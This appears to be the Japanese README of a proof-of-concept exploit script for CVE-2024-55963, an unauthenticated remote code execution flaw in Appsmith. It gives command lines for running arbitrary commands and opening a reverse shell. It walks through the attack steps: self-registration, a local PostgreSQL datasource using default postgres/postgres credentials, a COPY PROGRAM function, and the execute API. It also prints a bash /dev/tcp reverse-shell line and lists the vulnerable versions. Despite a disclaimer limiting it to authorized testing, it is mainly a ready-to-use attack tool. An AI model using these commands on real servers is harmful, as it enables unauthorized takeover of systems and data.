
CVE-2024-55963は、デフォルトで含まれるPostgreSQLデータベースの設定ミスにより、Appsmith Enterpriseプラットフォーム上で認証なしのリモートコード実行を可能にします。
CVE‑2024‑55963 の PoC エクスプロイト。脆弱な Appsmith インスタンス上で任意のコマンドを実行したり、リバースシェルを生成します。
自動的に最新のサーバー(environmentId 機能を持つ)とそれ以前の古い「レガシー」ビルドの両方を処理するため、v1.20 から最後の脆弱なリリース v1.51 までのすべてのバージョンで1つのスクリプトを使用できます。
# Run an arbitrary command (default is `id`)
python3 appsmith-rce.py https://target.example.com [email protected] password123 "whoami"
# spawn a reverse shell
python3 appsmith-rce.py https://target.example.com [email protected] password123 -revshell <ip> <port>
注意: サーバーがセルフサービスのサインアップを許可している限り、任意の認証情報が機能します。スクリプトは最初にログインを試み、アカウントが存在しない場合は登録にフォールバックします。
/api/v1/environments/workspaces/{id} をクエリし、存在しない場合はレガシーモード(空の environmentId)に切り替えます。/api/v1/applications にPOSTし、pageId を抽出します。localhost:5432 を指し、postgres/postgres 認証情報を使用するローカル PostgreSQL データソースを構築します(脆弱なデフォルトの pg_hba.conf によって許可されています)。exec_cmd() と、STDOUT を収集するスクラッチテーブル cmd_output をアップロードします。/api/v1/actions/execute エンドポイントを介して SELECT * FROM exec_cmd('<your cmd>') を実行します。bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' を実行します。requests| Appsmith version | 結果 |
|---|---|
| 1.51 | ✅ RCE |
| 1.45 | ✅ RCE |
| 1.30 | ✅ RCE、レガシーパス |
| 1.52+ | ❌ パッチ済み – 関数作成に失敗 |
この PoC は Rhino Security Labs のエクスプロイトを少し強化したものです(研究をレビューしていた際、彼らがすでに公開 PoC を持っていることに気づきませんでした)。
Rhino の PoC は静的なヘッダー、クッキー、認証情報を使用します。そのエクスプロイトをテスト中、特定のバージョンでアカウントが既に存在する場合に問題が発生しました。このスクリプトでは、ユーザーがコマンドラインから任意のメールアドレス/パスワードの組み合わせを入力できます。前述の通り、CSRF トークンはハードコードされた値に頼るのではなく抽出されます。
Environments API エンドポイントを持たない古いサーバーでも動作します。exec_cmd() PL/pgSQL ラッパー内の COPY PROGRAM を活用し、/actions/execute API を使用しますが、これはおそらくよりノイズが多いです。Rhino は組み込みのスキーマプレビューエンドポイントに依存して、アドホックな COPY (SELECT …) ステートメントを発行します。そのエンドポイントは出力長を切り詰め、余分な引用ルールを追加するため、長いコマンドやチェーンされたペイロードを渡すのが難しくなります。pyfiglet 依存関係なしenvironmentId ヘッダーを自動検出することで古いサーバーをサポート。Rhino のエクスプロイトはそれが常に存在することを前提としています。これらの設計上の選択により、エクスプロイトはより短く、より信頼性が高く、レッドチームでの使用に優しくなり、同時に同じ根本的な脆弱性を実証しています。
このコードは教育および許可されたテスト専用として提供されます。所有していない、またはテストする明示的な許可がないシステムに対して実行することは、違法となる可能性があります。著者は誤用に対する一切の責任を負いません。